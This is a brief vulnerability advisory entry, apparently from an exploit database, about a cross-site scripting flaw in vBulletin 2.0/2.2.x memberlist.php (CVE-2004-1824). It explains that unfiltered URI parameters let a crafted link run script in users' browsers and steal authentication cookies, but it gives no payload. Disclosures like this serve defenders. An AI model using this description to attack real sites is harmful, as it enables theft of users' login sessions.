VBulletin 2.0/2.2.x Memberlist.PHP Cross Site Scripting Vulnerability. CVE-2004-1824. Webapps exploit for php platform

                                            source: http://www.securityfocus.com/bid/6226/info

vBulletin does not filter HTML tags from URI parameters, making it prone to cross-site scripting attacks.

As a result, it is possible for a remote attacker to create a malicious link containing script code which will be executed in the browser of a legitimate user, in the context of the website running vBulletin.

This issue may be exploited to steal cookie-based authentication credentials from legitimate users of the website running the vulnerable software.
